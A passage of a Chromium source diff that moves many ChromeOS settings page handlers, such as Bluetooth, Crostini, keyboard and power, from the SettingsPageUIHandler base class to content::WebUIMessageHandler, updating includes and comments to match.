+++ b/chrome/browser/ui/webui/ash/settings/pages/apps/plugin_vm_handler.h
@@ -7,13 +7,13 @@
 
 #include "base/memory/raw_ptr.h"
 #include "base/memory/weak_ptr.h"
-#include "chrome/browser/ui/webui/settings/settings_page_ui_handler.h"
+#include "content/public/browser/web_ui_message_handler.h"
 
 class Profile;
 
 namespace ash::settings {
 
-class PluginVmHandler : public ::settings::SettingsPageUIHandler {
+class PluginVmHandler : public content::WebUIMessageHandler {
  public:
   explicit PluginVmHandler(Profile* profile);
 
@@ -22,7 +22,7 @@
 
   ~PluginVmHandler() override;
 
-  // SettingsPageUIHandler
+  // content::WebUIMessageHandler
   void RegisterMessages() override;
   void OnJavascriptAllowed() override;
   void OnJavascriptDisallowed() override;
diff --git a/chrome/browser/ui/webui/ash/settings/pages/bluetooth/bluetooth_handler.h b/chrome/browser/ui/webui/ash/settings/pages/bluetooth/bluetooth_handler.h
index a43daf5c..dc8bbbdc 100644
--- a/chrome/browser/ui/webui/ash/settings/pages/bluetooth/bluetooth_handler.h
+++ b/chrome/browser/ui/webui/ash/settings/pages/bluetooth/bluetooth_handler.h
@@ -7,20 +7,20 @@
 
 #include "base/memory/scoped_refptr.h"
 #include "base/memory/weak_ptr.h"
-#include "chrome/browser/ui/webui/settings/settings_page_ui_handler.h"
+#include "content/public/browser/web_ui_message_handler.h"
 #include "device/bluetooth/bluetooth_adapter.h"
 
 namespace ash::settings {
 
 // Chrome OS Bluetooth subpage UI handler.
-class BluetoothHandler : public ::settings::SettingsPageUIHandler {
+class BluetoothHandler : public content::WebUIMessageHandler {
  public:
   BluetoothHandler();
   BluetoothHandler(const BluetoothHandler&) = delete;
   BluetoothHandler& operator=(const BluetoothHandler&) = delete;
   ~BluetoothHandler() override;
 
-  // SettingsPageUIHandler implementation.
+  // content::WebUIMessageHandler implementation.
   void RegisterMessages() override;
   void OnJavascriptAllowed() override;
   void OnJavascriptDisallowed() override;
diff --git a/chrome/browser/ui/webui/ash/settings/pages/bluetooth/fast_pair_saved_devices_handler.h b/chrome/browser/ui/webui/ash/settings/pages/bluetooth/fast_pair_saved_devices_handler.h
index 84cbab9..1dcad893 100644
--- a/chrome/browser/ui/webui/ash/settings/pages/bluetooth/fast_pair_saved_devices_handler.h
+++ b/chrome/browser/ui/webui/ash/settings/pages/bluetooth/fast_pair_saved_devices_handler.h
@@ -11,7 +11,7 @@
 #include "base/memory/scoped_refptr.h"
 #include "base/memory/weak_ptr.h"
 #include "base/time/time.h"
-#include "chrome/browser/ui/webui/settings/settings_page_ui_handler.h"
+#include "content/public/browser/web_ui_message_handler.h"
 #include "ui/gfx/image/image.h"
 
 namespace ash {
@@ -23,7 +23,7 @@
 namespace settings {
 
 // Chrome OS Fast Pair Saved Devices subpage UI handler.
-class FastPairSavedDevicesHandler : public ::settings::SettingsPageUIHandler {
+class FastPairSavedDevicesHandler : public content::WebUIMessageHandler {
  public:
   FastPairSavedDevicesHandler();
   explicit FastPairSavedDevicesHandler(
@@ -33,7 +33,7 @@
       delete;
   ~FastPairSavedDevicesHandler() override;
 
-  // SettingsPageUIHandler implementation.
+  // content::WebUIMessageHandler implementation.
   void RegisterMessages() override;
   void OnJavascriptAllowed() override;
   void OnJavascriptDisallowed() override;
diff --git a/chrome/browser/ui/webui/ash/settings/pages/bluetooth/fast_pair_software_scanning_handler.h b/chrome/browser/ui/webui/ash/settings/pages/bluetooth/fast_pair_software_scanning_handler.h
index 63802ec..6a7baf33 100644
--- a/chrome/browser/ui/webui/ash/settings/pages/bluetooth/fast_pair_software_scanning_handler.h
+++ b/chrome/browser/ui/webui/ash/settings/pages/bluetooth/fast_pair_software_scanning_handler.h
@@ -8,12 +8,11 @@
 #include "ash/quick_pair/feature_status_tracker/battery_saver_active_provider.h"
 #include "ash/quick_pair/feature_status_tracker/hardware_offloading_supported_provider.h"
 #include "base/values.h"
-#include "chrome/browser/ui/webui/settings/settings_page_ui_handler.h"
+#include "content/public/browser/web_ui_message_handler.h"
 
 namespace ash::settings {
 
-class FastPairSoftwareScanningHandler
-    : public ::settings::SettingsPageUIHandler {
+class FastPairSoftwareScanningHandler : public content::WebUIMessageHandler {
  public:
   FastPairSoftwareScanningHandler(
       std::unique_ptr<ash::quick_pair::BatterySaverActiveProvider>
@@ -26,10 +25,8 @@
       const FastPairSoftwareScanningHandler&) = delete;
   ~FastPairSoftwareScanningHandler() override;
 
-  // WebUIMessageHandler
+  // content::WebUIMessageHandler
   void RegisterMessages() override;
-
-  // SettingsPageUIHandler
   void OnJavascriptAllowed() override;
   void OnJavascriptDisallowed() override;
 
diff --git a/chrome/browser/ui/webui/ash/settings/pages/crostini/crostini_handler.h b/chrome/browser/ui/webui/ash/settings/pages/crostini/crostini_handler.h
index 5e0a4bc7..2f32c28 100644
--- a/chrome/browser/ui/webui/ash/settings/pages/crostini/crostini_handler.h
+++ b/chrome/browser/ui/webui/ash/settings/pages/crostini/crostini_handler.h
@@ -14,12 +14,12 @@
 #include "chrome/browser/ash/crostini/crostini_port_forwarder.h"
 #include "chrome/browser/ash/guest_os/guest_id.h"
 #include "chrome/browser/ash/guest_os/guest_os_session_tracker.h"
-#include "chrome/browser/ui/webui/settings/settings_page_ui_handler.h"
 #include "chromeos/ash/components/dbus/session_manager/session_manager_client.h"
 #include "chromeos/ash/components/network/network_state_handler_observer.h"
 #include "chromeos/ash/components/settings/cros_settings.h"
 #include "components/prefs/pref_change_registrar.h"
 #include "components/services/app_service/public/cpp/intent.h"
+#include "content/public/browser/web_ui_message_handler.h"
 
 class Profile;
 
@@ -30,7 +30,7 @@
 
 namespace ash::settings {
 
-class CrostiniHandler : public ::settings::SettingsPageUIHandler,
+class CrostiniHandler : public content::WebUIMessageHandler,
                         public crostini::CrostiniDialogStatusObserver,
                         public crostini::CrostiniExportImport::Observer,
                         public crostini::CrostiniPortForwarder::Observer,
@@ -44,7 +44,7 @@
 
   ~CrostiniHandler() override;
 
-  // SettingsPageUIHandler
+  // content::WebUIMessageHandler
   void RegisterMessages() override;
   void OnJavascriptAllowed() override;
   void OnJavascriptDisallowed() override;
diff --git a/chrome/browser/ui/webui/ash/settings/pages/crostini/guest_os_handler.h b/chrome/browser/ui/webui/ash/settings/pages/crostini/guest_os_handler.h
index d2403ee..bb80a47 100644
--- a/chrome/browser/ui/webui/ash/settings/pages/crostini/guest_os_handler.h
+++ b/chrome/browser/ui/webui/ash/settings/pages/crostini/guest_os_handler.h
@@ -11,13 +11,13 @@
 #include "chrome/browser/ash/plugin_vm/plugin_vm_manager.h"
 #include "chrome/browser/ash/plugin_vm/plugin_vm_manager_factory.h"
 #include "chrome/browser/ash/usb/cros_usb_detector.h"
-#include "chrome/browser/ui/webui/settings/settings_page_ui_handler.h"
+#include "content/public/browser/web_ui_message_handler.h"
 
 class Profile;
 
 namespace ash::settings {
 
-class GuestOsHandler : public ::settings::SettingsPageUIHandler,
+class GuestOsHandler : public content::WebUIMessageHandler,
                        public CrosUsbDeviceObserver {
  public:
   explicit GuestOsHandler(Profile* profile);
@@ -25,7 +25,7 @@
   GuestOsHandler& operator=(const GuestOsHandler&) = delete;
   ~GuestOsHandler() override;
 
-  // SettingsPageUIHandler
+  // content::WebUIMessageHandler
   void RegisterMessages() override;
   void OnJavascriptAllowed() override;
   void OnJavascriptDisallowed() override;
diff --git a/chrome/browser/ui/webui/ash/settings/pages/date_time/date_time_handler.h b/chrome/browser/ui/webui/ash/settings/pages/date_time/date_time_handler.h
index 78736f34..c55caac 100644
--- a/chrome/browser/ui/webui/ash/settings/pages/date_time/date_time_handler.h
+++ b/chrome/browser/ui/webui/ash/settings/pages/date_time/date_time_handler.h
@@ -7,15 +7,15 @@
 
 #include "base/memory/weak_ptr.h"
 #include "base/scoped_observation.h"
-#include "chrome/browser/ui/webui/settings/settings_page_ui_handler.h"
 #include "chromeos/ash/components/dbus/system_clock/system_clock_client.h"
 #include "chromeos/ash/components/settings/cros_settings.h"
 #include "components/prefs/pref_change_registrar.h"
+#include "content/public/browser/web_ui_message_handler.h"
 
 namespace ash::settings {
 
 // Chrome OS date and time settings page UI handler.
-class DateTimeHandler : public ::settings::SettingsPageUIHandler,
+class DateTimeHandler : public content::WebUIMessageHandler,
                         public SystemClockClient::Observer {
  public:
   DateTimeHandler();
@@ -25,7 +25,7 @@
 
   ~DateTimeHandler() override;
 
-  // SettingsPageUIHandler implementation.
+  // content::WebUIMessageHandler implementation.
   void RegisterMessages() override;
   void OnJavascriptAllowed() override;
   void OnJavascriptDisallowed() override;
diff --git a/chrome/browser/ui/webui/ash/settings/pages/device/device_display_handler.h b/chrome/browser/ui/webui/ash/settings/pages/device/device_display_handler.h
index c723bb9..8c453a55 100644
--- a/chrome/browser/ui/webui/ash/settings/pages/device/device_display_handler.h
+++ b/chrome/browser/ui/webui/ash/settings/pages/device/device_display_handler.h
@@ -5,21 +5,21 @@
 #ifndef CHROME_BROWSER_UI_WEBUI_ASH_SETTINGS_PAGES_DEVICE_DEVICE_DISPLAY_HANDLER_H_
 #define CHROME_BROWSER_UI_WEBUI_ASH_SETTINGS_PAGES_DEVICE_DEVICE_DISPLAY_HANDLER_H_
 
-#include "chrome/browser/ui/webui/settings/settings_page_ui_handler.h"
 #include "chromeos/crosapi/mojom/cros_display_config.mojom.h"
+#include "content/public/browser/web_ui_message_handler.h"
 #include "mojo/public/cpp/bindings/remote.h"
 
 namespace ash::settings {
 
 // Chrome OS "Displays" settings page UI handler.
-class DisplayHandler : public ::settings::SettingsPageUIHandler {
+class DisplayHandler : public content::WebUIMessageHandler {
  public:
   DisplayHandler();
   DisplayHandler(const DisplayHandler&) = delete;
   DisplayHandler& operator=(const DisplayHandler&) = delete;
   ~DisplayHandler() override;
 
-  // SettingsPageUIHandler:
+  // content::WebUIMessageHandler:
   void RegisterMessages() override;
   void OnJavascriptAllowed() override {}
   void OnJavascriptDisallowed() override {}
diff --git a/chrome/browser/ui/webui/ash/settings/pages/device/device_keyboard_handler.h b/chrome/browser/ui/webui/ash/settings/pages/device/device_keyboard_handler.h
index 8e808366..7c319db9 100644
--- a/chrome/browser/ui/webui/ash/settings/pages/device/device_keyboard_handler.h
+++ b/chrome/browser/ui/webui/ash/settings/pages/device/device_keyboard_handler.h
@@ -7,14 +7,14 @@
 
 #include "base/memory/raw_ptr.h"
 #include "base/scoped_observation.h"
-#include "chrome/browser/ui/webui/settings/settings_page_ui_handler.h"
+#include "content/public/browser/web_ui_message_handler.h"
 #include "ui/events/devices/device_data_manager.h"
 #include "ui/events/devices/input_device_event_observer.h"
 
 namespace ash::settings {
 
 // Chrome OS "Keyboard" settings page UI handler.
-class KeyboardHandler : public ::settings::SettingsPageUIHandler,
+class KeyboardHandler : public content::WebUIMessageHandler,
                         public ui::InputDeviceEventObserver {
  public:
   // Name of the message sent to WebUI when the keys that should be shown
@@ -43,7 +43,7 @@
 
   ~KeyboardHandler() override;
 
-  // SettingsPageUIHandler implementation.
+  // content::WebUIMessageHandler implementation.
   void RegisterMessages() override;
   void OnJavascriptAllowed() override;
   void OnJavascriptDisallowed() override;
diff --git a/chrome/browser/ui/webui/ash/settings/pages/device/device_pointer_handler.h b/chrome/browser/ui/webui/ash/settings/pages/device/device_pointer_handler.h
index d1713a1..94c20e0 100644
--- a/chrome/browser/ui/webui/ash/settings/pages/device/device_pointer_handler.h
+++ b/chrome/browser/ui/webui/ash/settings/pages/device/device_pointer_handler.h
@@ -8,12 +8,12 @@
 #include <memory>
 
 #include "chrome/browser/ash/system/pointer_device_observer.h"
-#include "chrome/browser/ui/webui/settings/settings_page_ui_handler.h"
+#include "content/public/browser/web_ui_message_handler.h"
 
 namespace ash::settings {
 
 // Chrome OS "Mouse and touchpad" settings page UI handler.
-class PointerHandler : public ::settings::SettingsPageUIHandler,
+class PointerHandler : public content::WebUIMessageHandler,
                        public system::PointerDeviceObserver::Observer {
  public:
   PointerHandler();
@@ -23,7 +23,7 @@
 
   ~PointerHandler() override;
 
-  // SettingsPageUIHandler implementation.
+  // content::WebUIMessageHandler implementation.
   void RegisterMessages() override;
   void OnJavascriptAllowed() override;
   void OnJavascriptDisallowed() override;
diff --git a/chrome/browser/ui/webui/ash/settings/pages/device/device_stylus_handler.h b/chrome/browser/ui/webui/ash/settings/pages/device/device_stylus_handler.h
index 04644ad..c5e8d62c 100644
--- a/chrome/browser/ui/webui/ash/settings/pages/device/device_stylus_handler.h
+++ b/chrome/browser/ui/webui/ash/settings/pages/device/device_stylus_handler.h
@@ -10,14 +10,14 @@
 
 #include "base/scoped_observation.h"
 #include "chrome/browser/ash/note_taking/note_taking_helper.h"
-#include "chrome/browser/ui/webui/settings/settings_page_ui_handler.h"
+#include "content/public/browser/web_ui_message_handler.h"
 #include "ui/events/devices/device_data_manager.h"
 #include "ui/events/devices/input_device_event_observer.h"
 
 namespace ash::settings {
 
 // Chrome OS stylus settings handler.
-class StylusHandler : public ::settings::SettingsPageUIHandler,
+class StylusHandler : public content::WebUIMessageHandler,
                       public NoteTakingHelper::Observer,
                       public ui::InputDeviceEventObserver {
  public:
@@ -28,7 +28,7 @@
 
   ~StylusHandler() override;
 
-  // SettingsPageUIHandler implementation.
+  // content::WebUIMessageHandler implementation.
   void RegisterMessages() override;
   void OnJavascriptAllowed() override;
   void OnJavascriptDisallowed() override;
diff --git a/chrome/browser/ui/webui/ash/settings/pages/internet/internet_handler.h b/chrome/browser/ui/webui/ash/settings/pages/internet/internet_handler.h
index df2966ae..2178a1b 100644
--- a/chrome/browser/ui/webui/ash/settings/pages/internet/internet_handler.h
+++ b/chrome/browser/ui/webui/ash/settings/pages/internet/internet_handler.h
@@ -6,8 +6,8 @@
 #define CHROME_BROWSER_UI_WEBUI_ASH_SETTINGS_PAGES_INTERNET_INTERNET_HANDLER_H_
 
 #include "base/memory/raw_ptr.h"
-#include "chrome/browser/ui/webui/settings/settings_page_ui_handler.h"
 #include "chromeos/ash/components/tether/gms_core_notifications_state_tracker.h"
+#include "content/public/browser/web_ui_message_handler.h"
 #include "ui/gfx/native_ui_types.h"
 
 class Profile;
@@ -17,7 +17,7 @@
 // Chrome OS Internet settings page UI handler.
 class InternetHandler
     : public tether::GmsCoreNotificationsStateTracker::Observer,
-      public ::settings::SettingsPageUIHandler {
+      public content::WebUIMessageHandler {
  public:
   explicit InternetHandler(Profile* profile);
 
@@ -26,7 +26,7 @@
 
   ~InternetHandler() override;
 
-  // SettingsPageUIHandler implementation.
+  // content::WebUIMessageHandler implementation.
   void RegisterMessages() override;
   void OnJavascriptAllowed() override;
   void OnJavascriptDisallowed() override;
diff --git a/chrome/browser/ui/webui/ash/settings/pages/kerberos/kerberos_accounts_handler.h b/chrome/browser/ui/webui/ash/settings/pages/kerberos/kerberos_accounts_handler.h
index 4f2c8018..2c1091c 100644
--- a/chrome/browser/ui/webui/ash/settings/pages/kerberos/kerberos_accounts_handler.h
+++ b/chrome/browser/ui/webui/ash/settings/pages/kerberos/kerberos_accounts_handler.h
@@ -13,9 +13,9 @@
 #include "base/memory/weak_ptr.h"
 #include "base/scoped_observation.h"
 #include "chrome/browser/ash/kerberos/kerberos_credentials_manager.h"
-#include "chrome/browser/ui/webui/settings/settings_page_ui_handler.h"
 #include "chromeos/ash/components/dbus/kerberos/kerberos_service.pb.h"
 #include "components/signin/public/identity_manager/identity_manager.h"
+#include "content/public/browser/web_ui_message_handler.h"
 
 namespace content {
 class WebUIDataSource;
@@ -29,7 +29,7 @@
 
 namespace ash::settings {
 
-class KerberosAccountsHandler : public ::settings::SettingsPageUIHandler,
+class KerberosAccountsHandler : public content::WebUIMessageHandler,
                                 public KerberosCredentialsManager::Observer {
  public:
   static std::unique_ptr<KerberosAccountsHandler> CreateIfKerberosEnabled(
diff --git a/chrome/browser/ui/webui/ash/settings/pages/main/os_settings_hats_handler.h b/chrome/browser/ui/webui/ash/settings/pages/main/os_settings_hats_handler.h
index 8997cd5..f5c28e6 100644
--- a/chrome/browser/ui/webui/ash/settings/pages/main/os_settings_hats_handler.h
+++ b/chrome/browser/ui/webui/ash/settings/pages/main/os_settings_hats_handler.h
@@ -6,14 +6,14 @@
 #define CHROME_BROWSER_UI_WEBUI_ASH_SETTINGS_PAGES_MAIN_OS_SETTINGS_HATS_HANDLER_H_
 
 #include "base/memory/raw_ptr.h"
-#include "chrome/browser/ui/webui/settings/settings_page_ui_handler.h"
+#include "content/public/browser/web_ui_message_handler.h"
 
 class Profile;
 
 namespace ash::settings {
 
 // WebUI message handler for os settings HaTS.
-class OsSettingsHatsHandler : public ::settings::SettingsPageUIHandler {
+class OsSettingsHatsHandler : public content::WebUIMessageHandler {
  public:
   explicit OsSettingsHatsHandler(Profile* profile);
   ~OsSettingsHatsHandler() override = default;
diff --git a/chrome/browser/ui/webui/ash/settings/pages/main/send_search_feedback_handler.h b/chrome/browser/ui/webui/ash/settings/pages/main/send_search_feedback_handler.h
index ebfa8f5..317d338 100644
--- a/chrome/browser/ui/webui/ash/settings/pages/main/send_search_feedback_handler.h
+++ b/chrome/browser/ui/webui/ash/settings/pages/main/send_search_feedback_handler.h
@@ -5,12 +5,12 @@
 #ifndef CHROME_BROWSER_UI_WEBUI_ASH_SETTINGS_PAGES_MAIN_SEND_SEARCH_FEEDBACK_HANDLER_H_
 #define CHROME_BROWSER_UI_WEBUI_ASH_SETTINGS_PAGES_MAIN_SEND_SEARCH_FEEDBACK_HANDLER_H_
 
-#include "chrome/browser/ui/webui/settings/settings_page_ui_handler.h"
+#include "content/public/browser/web_ui_message_handler.h"
 
 namespace ash::settings {
 
 // WebUI message handler for os settings send search feedback.
-class SendSearchFeedbackHandler : public ::settings::SettingsPageUIHandler {
+class SendSearchFeedbackHandler : public content::WebUIMessageHandler {
  public:
   SendSearchFeedbackHandler();
 
diff --git a/chrome/browser/ui/webui/ash/settings/pages/multidevice/multidevice_handler.h b/chrome/browser/ui/webui/ash/settings/pages/multidevice/multidevice_handler.h
index 3ef28c4..139b6e5 100644
--- a/chrome/browser/ui/webui/ash/settings/pages/multidevice/multidevice_handler.h
+++ b/chrome/browser/ui/webui/ash/settings/pages/multidevice/multidevice_handler.h
@@ -9,7 +9,6 @@
 #include "base/memory/raw_ptr.h"
 #include "base/memory/weak_ptr.h"
 #include "base/scoped_observation.h"
-#include "chrome/browser/ui/webui/settings/settings_page_ui_handler.h"
 #include "chromeos/ash/components/multidevice/remote_device_ref.h"
 #include "chromeos/ash/components/phonehub/browser_tabs_model.h"
 #include "chromeos/ash/components/phonehub/browser_tabs_model_provider.h"
@@ -21,6 +20,7 @@
 #include "chromeos/ash/components/phonehub/util/histogram_util.h"
 #include "chromeos/ash/services/multidevice_setup/public/cpp/multidevice_setup_client.h"
 #include "components/prefs/pref_change_registrar.h"
+#include "content/public/browser/web_ui_message_handler.h"
 
 class PrefService;
 
@@ -28,7 +28,7 @@
 
 // Chrome "Multidevice" (a.k.a. "Connected Devices") settings page UI handler.
 class MultideviceHandler
-    : public ::settings::SettingsPageUIHandler,
+    : public content::WebUIMessageHandler,
       public multidevice_setup::MultiDeviceSetupClient::Observer,
       public phonehub::MultideviceFeatureAccessManager::Observer,
       public phonehub::NotificationAccessSetupOperation::Delegate,
@@ -63,7 +63,7 @@
   void LogPhoneHubPermissionOnboardingSetupResult(const base::ListValue& args);
 
  private:
-  // ::settings::SettingsPageUIHandler:
+  // content::WebUIMessageHandler:
   void OnJavascriptAllowed() override;
   void OnJavascriptDisallowed() override;
 
diff --git a/chrome/browser/ui/webui/ash/settings/pages/os_settings_section.h b/chrome/browser/ui/webui/ash/settings/pages/os_settings_section.h
index 45805506..5fceeaac 100644
--- a/chrome/browser/ui/webui/ash/settings/pages/os_settings_section.h
+++ b/chrome/browser/ui/webui/ash/settings/pages/os_settings_section.h
@@ -39,8 +39,9 @@
 // tags should be removed via RemoveSearchTags().
 //
 // When the settings app is initialized, this class is used to add loadTimeData
-// (e.g., localized strings and flag values) as well as SettingsPageUIHandlers
-// (i.e., browser to JS IPC mechanisms) to the page.
+// (e.g., localized strings and flag values) as well as
+// content::WebUIMessageHandlers (i.e., browser to JS IPC mechanisms) to the
+// page.
 class OsSettingsSection {
  public:
   // Used to construct a hierarchy of this section (i.e., which settings and
@@ -107,8 +108,8 @@
   // settings instance.
   virtual void AddLoadTimeData(content::WebUIDataSource* html_source) = 0;
 
-  // Adds SettingsPageUIHandlers to an OS settings instance. Override if the
-  // derived type requires one or more handlers for this section.
+  // Adds content::WebUIMessageHandlers to an OS settings instance. Override if
+  // the derived type requires one or more handlers for this section.
   virtual void AddHandlers(content::WebUI* web_ui) {}
 
   // Provides the message ID for the name of this section.
diff --git a/chrome/browser/ui/webui/ash/settings/pages/people/account_manager_ui_handler.cc b/chrome/browser/ui/webui/ash/settings/pages/people/account_manager_ui_handler.cc
index 4e5209f7..5ffa110 100644
--- a/chrome/browser/ui/webui/ash/settings/pages/people/account_manager_ui_handler.cc
+++ b/chrome/browser/ui/webui/ash/settings/pages/people/account_manager_ui_handler.cc
@@ -23,7 +23,6 @@
 #include "chrome/browser/policy/profile_policy_connector.h"
 #include "chrome/browser/profiles/profile.h"
 #include "chrome/browser/ui/webui/ash/account_manager/account_migration_welcome_dialog.h"
-#include "chrome/browser/ui/webui/settings/settings_page_ui_handler.h"
 #include "chrome/browser/ui/webui/signin/ash/inline_login_dialog.h"
 #include "chrome/grit/generated_resources.h"
 #include "chromeos/ash/components/account_manager/account_manager_factory.h"
@@ -31,6 +30,7 @@
 #include "components/signin/public/base/consent_level.h"
 #include "components/signin/public/identity_manager/tribool.h"
 #include "components/user_manager/user.h"
+#include "content/public/browser/web_ui_message_handler.h"
 #include "google_apis/gaia/gaia_auth_util.h"
 #include "google_apis/gaia/gaia_id.h"
 #include "google_apis/gaia/google_service_auth_error.h"
diff --git a/chrome/browser/ui/webui/ash/settings/pages/people/account_manager_ui_handler.h b/chrome/browser/ui/webui/ash/settings/pages/people/account_manager_ui_handler.h
index b6f09b3..2d7a8e4 100644
--- a/chrome/browser/ui/webui/ash/settings/pages/people/account_manager_ui_handler.h
+++ b/chrome/browser/ui/webui/ash/settings/pages/people/account_manager_ui_handler.h
@@ -12,19 +12,19 @@
 #include "base/scoped_observation.h"
 #include "base/values.h"
 #include "chrome/browser/ash/account_manager/account_apps_availability.h"
-#include "chrome/browser/ui/webui/settings/settings_page_ui_handler.h"
 #include "components/account_id/account_id.h"
 #include "components/account_manager_core/account.h"
 #include "components/account_manager_core/account_manager_facade.h"
 #include "components/account_manager_core/chromeos/account_manager.h"
 #include "components/signin/public/identity_manager/identity_manager.h"
+#include "content/public/browser/web_ui_message_handler.h"
 
 class Profile;
 
 namespace ash::settings {
 
 class AccountManagerUIHandler
-    : public ::settings::SettingsPageUIHandler,
+    : public content::WebUIMessageHandler,
       public account_manager::AccountManagerFacade::Observer,
       public signin::IdentityManager::Observer,
       public AccountAppsAvailability::Observer {
diff --git a/chrome/browser/ui/webui/ash/settings/pages/people/fingerprint_handler.h b/chrome/browser/ui/webui/ash/settings/pages/people/fingerprint_handler.h
index bfbc751..3eadd01 100644
--- a/chrome/browser/ui/webui/ash/settings/pages/people/fingerprint_handler.h
+++ b/chrome/browser/ui/webui/ash/settings/pages/people/fingerprint_handler.h
@@ -8,9 +8,9 @@
 #include "base/containers/flat_map.h"
 #include "base/memory/raw_ptr.h"
 #include "base/scoped_observation.h"
-#include "chrome/browser/ui/webui/settings/settings_page_ui_handler.h"
 #include "components/session_manager/core/session_manager.h"
 #include "components/session_manager/core/session_manager_observer.h"
+#include "content/public/browser/web_ui_message_handler.h"
 #include "mojo/public/cpp/bindings/receiver.h"
 #include "mojo/public/cpp/bindings/remote.h"
 #include "services/device/public/mojom/fingerprint.mojom.h"
@@ -20,7 +20,7 @@
 namespace ash::settings {
 
 // Chrome OS fingerprint setup settings page UI handler.
-class FingerprintHandler : public ::settings::SettingsPageUIHandler,
+class FingerprintHandler : public content::WebUIMessageHandler,
                            public device::mojom::FingerprintObserver,
                            public session_manager::SessionManagerObserver {
  public:
@@ -31,7 +31,7 @@
 
   ~FingerprintHandler() override;
 
-  // SettingsPageUIHandler overrides:
+  // content::WebUIMessageHandler overrides:
   void RegisterMessages() override;
   void OnJavascriptAllowed() override;
   void OnJavascriptDisallowed() override;
diff --git a/chrome/browser/ui/webui/ash/settings/pages/people/parental_controls_handler.h b/chrome/browser/ui/webui/ash/settings/pages/people/parental_controls_handler.h
index 40fd5b3..e7ad99d1 100644
--- a/chrome/browser/ui/webui/ash/settings/pages/people/parental_controls_handler.h
+++ b/chrome/browser/ui/webui/ash/settings/pages/people/parental_controls_handler.h
@@ -6,14 +6,14 @@
 #define CHROME_BROWSER_UI_WEBUI_ASH_SETTINGS_PAGES_PEOPLE_PARENTAL_CONTROLS_HANDLER_H_
 
 #include "base/memory/raw_ptr.h"
-#include "chrome/browser/ui/webui/settings/settings_page_ui_handler.h"
+#include "content/public/browser/web_ui_message_handler.h"
 
 class Profile;
 
 namespace ash::settings {
 
 // Chrome "Parental Controls" settings page UI handler.
-class ParentalControlsHandler : public ::settings::SettingsPageUIHandler {
+class ParentalControlsHandler : public content::WebUIMessageHandler {
  public:
   explicit ParentalControlsHandler(Profile* profile);
 
@@ -27,7 +27,7 @@
   void RegisterMessages() override;
 
  private:
-  // ::settings::SettingsPageUIHandler:
+  // content::WebUIMessageHandler:
   void OnJavascriptAllowed() override;
   void OnJavascriptDisallowed() override;
 
diff --git a/chrome/browser/ui/webui/ash/settings/pages/people/quick_unlock_handler.h b/chrome/browser/ui/webui/ash/settings/pages/people/quick_unlock_handler.h
index 78e3222..2d9dd40 100644
--- a/chrome/browser/ui/webui/ash/settings/pages/people/quick_unlock_handler.h
+++ b/chrome/browser/ui/webui/ash/settings/pages/people/quick_unlock_handler.h
@@ -7,8 +7,8 @@
 
 #include "base/memory/raw_ptr.h"
 #include "base/memory/weak_ptr.h"
-#include "chrome/browser/ui/webui/settings/settings_page_ui_handler.h"
 #include "components/prefs/pref_change_registrar.h"
+#include "content/public/browser/web_ui_message_handler.h"
 
 class PrefService;
 class Profile;
@@ -16,14 +16,14 @@
 namespace ash::settings {
 
 // Settings WebUI handler for quick unlock settings.
-class QuickUnlockHandler : public ::settings::SettingsPageUIHandler {
+class QuickUnlockHandler : public content::WebUIMessageHandler {
  public:
   QuickUnlockHandler(Profile* profile, PrefService* pref_service);
   QuickUnlockHandler(const QuickUnlockHandler&) = delete;
   QuickUnlockHandler& operator=(const QuickUnlockHandler&) = delete;
   ~QuickUnlockHandler() override;
 
-  // SettingsPageUIHandler:
+  // content::WebUIMessageHandler:
   void RegisterMessages() override;
   void OnJavascriptAllowed() override;
   void OnJavascriptDisallowed() override;
diff --git a/chrome/browser/ui/webui/ash/settings/pages/personalization/personalization_hub_handler.h b/chrome/browser/ui/webui/ash/settings/pages/personalization/personalization_hub_handler.h
index 3a530bc..c58ccd7 100644
--- a/chrome/browser/ui/webui/ash/settings/pages/personalization/personalization_hub_handler.h
+++ b/chrome/browser/ui/webui/ash/settings/pages/personalization/personalization_hub_handler.h
@@ -6,12 +6,12 @@
 #define CHROME_BROWSER_UI_WEBUI_ASH_SETTINGS_PAGES_PERSONALIZATION_PERSONALIZATION_HUB_HANDLER_H_
 
 #include "base/values.h"
-#include "chrome/browser/ui/webui/settings/settings_page_ui_handler.h"
+#include "content/public/browser/web_ui_message_handler.h"
 
 namespace ash::settings {
 
 // Chrome "Personalization Hub" settings page UI handler.
-class PersonalizationHubHandler : public ::settings::SettingsPageUIHandler {
+class PersonalizationHubHandler : public content::WebUIMessageHandler {
  public:
   PersonalizationHubHandler();
 
@@ -21,7 +21,7 @@
 
   ~PersonalizationHubHandler() override;
 
-  // SettingsPageUIHandler:
+  // content::WebUIMessageHandler:
   void RegisterMessages() override;
   void OnJavascriptAllowed() override {}
   void OnJavascriptDisallowed() override {}
diff --git a/chrome/browser/ui/webui/ash/settings/pages/power/device_power_handler.h b/chrome/browser/ui/webui/ash/settings/pages/power/device_power_handler.h
index 7509917b..33be04ba 100644
--- a/chrome/browser/ui/webui/ash/settings/pages/power/device_power_handler.h
+++ b/chrome/browser/ui/webui/ash/settings/pages/power/device_power_handler.h
@@ -12,9 +12,9 @@
 #include "base/memory/raw_ptr.h"
 #include "base/memory/weak_ptr.h"
 #include "base/scoped_observation.h"
-#include "chrome/browser/ui/webui/settings/settings_page_ui_handler.h"
 #include "chromeos/dbus/power/power_manager_client.h"
 #include "chromeos/dbus/power/power_policy_controller.h"
+#include "content/public/browser/web_ui_message_handler.h"
 
 class PrefChangeRegistrar;
 class PrefService;
@@ -26,7 +26,7 @@
 namespace ash::settings {
 
 // Chrome OS battery status and power settings handler.
-class PowerHandler : public ::settings::SettingsPageUIHandler,
+class PowerHandler : public content::WebUIMessageHandler,
                      public chromeos::PowerManagerClient::Observer {
  public:
   // Idle behaviors presented in the UI. These are mapped to preferences by
@@ -88,7 +88,7 @@
 
   ~PowerHandler() override;
 
-  // SettingsPageUIHandler implementation.
+  // content::WebUIMessageHandler implementation.
   void RegisterMessages() override;
   void OnJavascriptAllowed() override;
   void OnJavascriptDisallowed() override;
diff --git a/chrome/browser/ui/webui/ash/settings/pages/printing/cups_printers_handler.h b/chrome/browser/ui/webui/ash/settings/pages/printing/cups_printers_handler.h
index 41bca29..c239e6b 100644
--- a/chrome/browser/ui/webui/ash/settings/pages/printing/cups_printers_handler.h
+++ b/chrome/browser/ui/webui/ash/settings/pages/printing/cups_printers_handler.h
@@ -15,11 +15,11 @@
 #include "base/scoped_observation.h"
 #include "chrome/browser/ash/printing/cups_printers_manager.h"
 #include "chrome/browser/ash/printing/printer_event_tracker.h"
-#include "chrome/browser/ui/webui/settings/settings_page_ui_handler.h"
